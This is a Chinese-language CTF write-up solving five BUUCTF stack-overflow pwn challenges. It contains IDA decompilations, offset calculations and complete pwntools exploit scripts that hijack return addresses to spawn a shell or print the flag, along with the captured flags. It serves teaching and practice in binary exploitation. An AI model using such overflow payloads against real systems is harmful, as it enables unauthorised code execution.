buu-pwn-部分题解集合1-5:栈溢出
test_your_nc
前置知识
nc指令是什么?
https://www.runoob.com/linux/linux-comm-nc.html
netcat,用于连接,扫描服务器端口的一个工具
成功连接端口后可进行基本的文件操作,如
- ls
- dir
- cat(打开文件)等等
这个工具在liunx下自带,于是我使用kali
正式解题
根据提示连接对应端口和地址
nc node3.buuoj.cn 25346
连接成功后看看有啥文件dir
/ls
都可
发现有个flag文件,打开它看看cat flag
得到flag
rip:windows下换行符的问题
前置知识
使用python的第三方库pwntools工具
用到一些栈溢出的知识(知乎:手把手教你栈溢出)
pwntools模板
#!/usr/bin/env python # coding=utf8 from pwn import * context.log_level = 'debug' # 显示调试的信息 local = 0 # 设置是本地还是远程渗透 if local: # p = process('./pwn1') # bin = ELF('./',checksec=False) # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) pass else: p = remote('node3.buuoj.cn', 28688) # bin = ELF('./',checksec=False) # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False) pass bin_sh_addr = 0x8048F0D payload = b'I'*21 + b'a'*1 + p32(bin_sh_addr) # p.recvuntil(">") # 收到某个字符后继续执行否则sleep p.sendline(payload) # raw_input() # 用来断在开始的位置 # gdb.attach(p) # 可以用动态调试 p.interactive() # 监听和用户输入模式
正式解题
这题可把我坑惨了,建议不要用windows环境打pwn,偏移值是
goal_address = 0x401186
payload = b'a' * (15+8) + p64(goal_address+1) # dbp 8位 +1从0x000000对齐八位
# or 都可以
payload = b'a' * 15 + p64(goal_address)
于是就有了如下的代码
from pwn import *
context.log_level = 'debug' # 显示调试的信息
p = remote('node3.buuoj.cn', 25156)
goal_address = 0x401186
payload = b'a' * 15 + p64(goal_address)
p.sendline(payload)
p.interactive()
然后顺利的够到shell了那不就为所欲为了?然后神奇的事情发生了。
无论输入什么指令都显示没有这个指令?????
然后这个本应该前天解决的题目呗拖了两天QAQ,谁来救救我。
今天反复排查才发现,是windows下的换行符出事了(我开了debug模式调试发现的):
(参考我之前写的空字符介绍博客http://poilzero.sipc115.club/index.php/archives/25/)
有如下补充知识点
- rn是dos(包含windows)的命令行终止符
- n是Liunx/Unix的命令行终止符
- 命令行终止符 在引申到保存文件中的时候就代表各自系统下一般意义的换行了(即换行且到行首nr)
但是要命的是我是在windows下运行这个python脚本的,然后再windows的命令框里面输入的指令的,因此实际上发送过去的指令变成了 指令\r\n 然后liunx的shell就会识别成执行 指令\r 举个例子:
我发送了 ls 实际上发送成了 ls\r\n 然后到了shell那一边会识别成 ls\r (\n再liunx中代表换行,而对shell换行代表执行指令),然后shell一想,不对啊QAQ这是什么东西,因为没有指令叫ls\r的然后就告诉你没有这个指令。
这是一个很细节的问题!!吖!!!
最后改成这样了(这样能严格控制输入的字符内容,sendline默认加上的换行符是liunx下的'\n')
from pwn import *
context.log_level = 'debug' # 显示调试的信息
p = remote('node3.buuoj.cn', 25156)
goal_address = 0x401186
payload = b'a' * 15 + p64(goal_address)
p.sendline(payload)
p.sendline("cat flag")
p.interactive()
经验总结
因此总结的经验就是,尽可能把运行环境与对象的运行环境相匹配,这样能避免很多意想不到的问题,这些问题本身可能比你从新配置一个环境的花费大得多,哼唧,END。
warmup_csaw_2016:标准栈溢出
漏洞分析
使用nc测试后发现连接服务器后输出一些字符串后会让你输入,查看提供的文件反汇编可以查看这里是一个gets函数
b'-Warm Up-\n'
b'WOW:0x40060d\n'
b'>'
然后找了一下
- 提供的关键函数就在address=
0x40060d
- gets缓冲区0x40个字节,加上返回地址的八个长度,就能得到总溢出长度了
因此只要通过溢出修改返回地址跳转就可以了
注册机
#!/usr/bin/env python
# coding=utf8
from pwn import *
context.log_level = 'debug' # 显示调试的信息
local = 0 # 设置是本地还是远程渗透
if local:
# p = process('./pwn1')
# bin = ELF('./',checksec=False)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
pass
else:
p = remote('node3.buuoj.cn', 27519)
# bin = ELF('./',checksec=False)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
pass
bin_sh_addr = 0x40060D
payload = b'a' * (0x40+0x8) + p64(bin_sh_addr)
p.recvuntil(">") # 收到某个字符后继续执行否则sleep
p.sendline(payload)
# b'flag{9476e1d2-a061-487c-9234-93666cbf4600}\n'
# raw_input() 用来断在开始的位置
# gdb.attach(p) 可以用动态调试
flag即为:`flag{9476e1d2-a061-487c-9234-93666cbf4600}
pwn1_sctf_2016:文本替换溢出
漏洞分析
直接连入后直接输入字符串测试发现,会替换其中的I字符,然后会print出来
使用IDA打开分析
找到主函数,直接在main函数中调用的功能性函数
int vuln()
{
const char *v0; // eax
char s; // [esp+1Ch] [ebp-3Ch]
char v3; // [esp+3Ch] [ebp-1Ch]
char v4; // [esp+40h] [ebp-18h]
char v5; // [esp+47h] [ebp-11h]
char v6; // [esp+48h] [ebp-10h]
char v7; // [esp+4Fh] [ebp-9h]
printf("Tell me something about yourself: ");
fgets(&s, 32, edata);
std::string::operator=(&input, &s);
std::allocator<char>::allocator(&v5);
std::string::string(&v4, "you", &v5);
std::allocator<char>::allocator(&v7);
std::string::string(&v6, "I", &v7);
replace((std::string *)&v3);
std::string::operator=(&input, &v3, &v6, &v4);
std::string::~string((std::string *)&v3);
std::string::~string((std::string *)&v6);
std::allocator<char>::~allocator(&v7);
std::string::~string((std::string *)&v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(&s, v0);
return printf("So, %s\n", &s);
}
因此虽然fgets不发生溢出,但是replace后会发生溢出,找目标函数位于0x08048F0D
注册机
这里分析一下输入的内容以及如何溢出。
首先
- 输入最多32字符,但是I会变成3个字节的you
- 32程序,返回地址4个字节,目标地址4个字节
- s栈最大长度3C即60
-0000003C s db ?
-0000003B db ? ; undefined
-0000003A db ? ; undefined
...
-0000001D db ? ; undefined
因此要保证replace后的值是60+4+p32字节,即替换后得有64个字符。
又因为64%3==21....1
因此可以得到偏移值:payload = b'I'*21 + b'a'*1 + p32(bin_sh_addr)
注意因为是32的运行文件,地址格式要使用p32
#!/usr/bin/env python
# coding=utf8
from pwn import *
context.log_level = 'debug' # 显示调试的信息
local = 0 # 设置是本地还是远程渗透
if local:
# p = process('./pwn1')
# bin = ELF('./',checksec=False)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
pass
else:
p = remote('node3.buuoj.cn', 28688)
# bin = ELF('./',checksec=False)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
pass
bin_sh_addr = 0x8048F0D
payload = b'I'*21 + b'a'*1 + p32(bin_sh_addr)
# p.recvuntil(">") # 收到某个字符后继续执行否则sleep
p.sendline(payload)
# raw_input() # 用来断在开始的位置
# gdb.attach(p) # 可以用动态调试
p.interactive() # 监听和用户输入模式
# flag{a225aa2f-c72e-48ca-8500-bdf477036a23}
flag即为:flag{a225aa2f-c72e-48ca-8500-bdf477036a23}
ciscn_2019_n_1:两种思路
漏洞分析
使用IDA打开
gets栈溢出常见函数
有两种思路溢出:
- 直接修改帧的返回地址(上面一直使用的)
- 修改v2使jnz进入
int func()
{
int result; // eax
char v1; // [rsp+0h] [rbp-30h]
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(&v1);
if ( v2 == 11.28125 )
result = system("cat /flag");
else
result = puts("Its value should be 11.28125");
return result;
}
注册机
两种思路对应的偏移值为
- 直接修改帧返回地址返回到system对应的指令位置
# 0x4006BE 是system("cat /flag") 对应汇编的开始地址
bin_sh_addr = 0x4006BE
payload = b'a'*(0x30+0x8) + p64(bin_sh_addr)
- 修改v2使jnz进入
# 0x41348000 是使用IDA查询值得到的11.28125在内存中的表现形式
bin_sh_addr = 0x41348000
payload = b'a'*(0x30-0x4) + p64(bin_sh_addr)
完整版如下(使用方案一)
#!/usr/bin/env python
# coding=utf8
from pwn import *
context.log_level = 'debug' # 显示调试的信息
local = 0 # 设置是本地还是远程渗透
if local:
# p = process('./pwn1')
# bin = ELF('./',checksec=False)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
pass
else:
p = remote('node3.buuoj.cn', 29694)
# bin = ELF('./',checksec=False)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
pass
# bin_sh_addr = 0x41348000
# payload = b'a'*(0x30-0x4) + p64(bin_sh_addr)
bin_sh_addr = 0x4006BE
payload = b'a'*(0x30+0x8) + p64(bin_sh_addr)
p.recvuntil("Let's guess the number.\n") # 收到某个字符后继续执行否则sleep
p.sendline(payload)
# raw_input() # 用来断在开始的位置
# gdb.attach(p) # 可以用动态调试
# p.interactive() # 监听和用户输入模式
最后得到返回值: b'flag{f36a6fe6-73d0-4091-ae49-fcc5d5906399}\n'